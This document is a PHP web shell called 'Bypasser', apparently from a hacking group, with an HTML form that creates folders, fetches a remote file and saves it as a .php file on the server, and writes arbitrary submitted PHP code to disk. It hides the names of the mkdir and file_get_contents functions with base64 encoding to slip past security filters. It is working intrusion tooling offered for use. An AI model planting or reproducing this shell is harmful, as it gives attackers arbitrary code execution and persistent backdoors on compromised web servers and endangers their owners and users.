Bypasser(fopen)

<form method="POST">
<center>
<title> Bypasser </title>
<p align="center"><font face="Tahoma" size="5">[+] <font color="#CC0000">Simple</font>
Bypasser !</font></p>
<p align="center"><font face="Tahoma" size="2">Create Folder : </font></p>
<input type="text" name="dir" value="sec4ever">
<input type="submit" value="Create" name="folder"> <br> <br>
<p align="center"><font face="Tahoma" size="2">Get File : </font></p>
<input type="text" name="get" value="url file .txt">
<input type="text" name="name" value="sec4ever.php">
<input type="text" name="select" value="<? echo dirname(__FILE__); ?>">
<input type="submit" value="GET" name="fileget"> <br> <br>
<p align="center"><font face="Tahoma" size="2">Fopen File : </font></p>
<input type="text" name="save" value="krz.php">
<input type="text" name="path2" value="<? echo dirname(__FILE__); ?>"><br>
<textarea name="source" cols="45" rows="5">PHP Code</textarea>
<input type="submit" value="Save" name="fopen">
<?

# Create Folder
if($_POST['folder']) {
$mk = $_POST['dir'];
$func = "bWtkaXI=";
$de = base64_decode($func);
$rules1 = $de($mk);
if ($mk) {
echo "<br>[+] Done [ $mk ] Created !";
} }
# File Get Contents
if($_POST['fileget']) {
$get = $_POST['get'];
$n4m = $_POST['name'];
$path = $_POST['select'];
$func2 = "ZmlsZV9nZXRfY29udGVudHM=";
$de2 = base64_decode($func2);
$rules2 = $de2($get);
$open = fopen("$path/$n4m", 'w');
fwrite($open,$rules2);
fclose($open);
if($get) {
echo "done";
} }
#
# fopen File
if($_POST['fopen']) {
$save = $_POST['save'];
$path2 = $_POST['path2'];
$open2 = fopen("$path2/$save", 'w');
$source1 = $_POST['source'];
$source2 = stripslashes($source1);
fwrite($open2 ,$source2);
fclose($open2);
if($open2) {
echo "done";
} }
?>
<p align="center"><font face="Tahoma" size="2"><br>
<p align="center"><font face="Tahoma" size="2">Note : </font>
<span LANG="EN"><font SIZE="2" COLOR="#ff0000" face="Tahoma">This Tool Is Using
file_get_contents &amp; fOpen Functions !</p>
</font></span>
<p align="center"><font face="Tahoma" size="2"><br>
&nbsp;</font></p>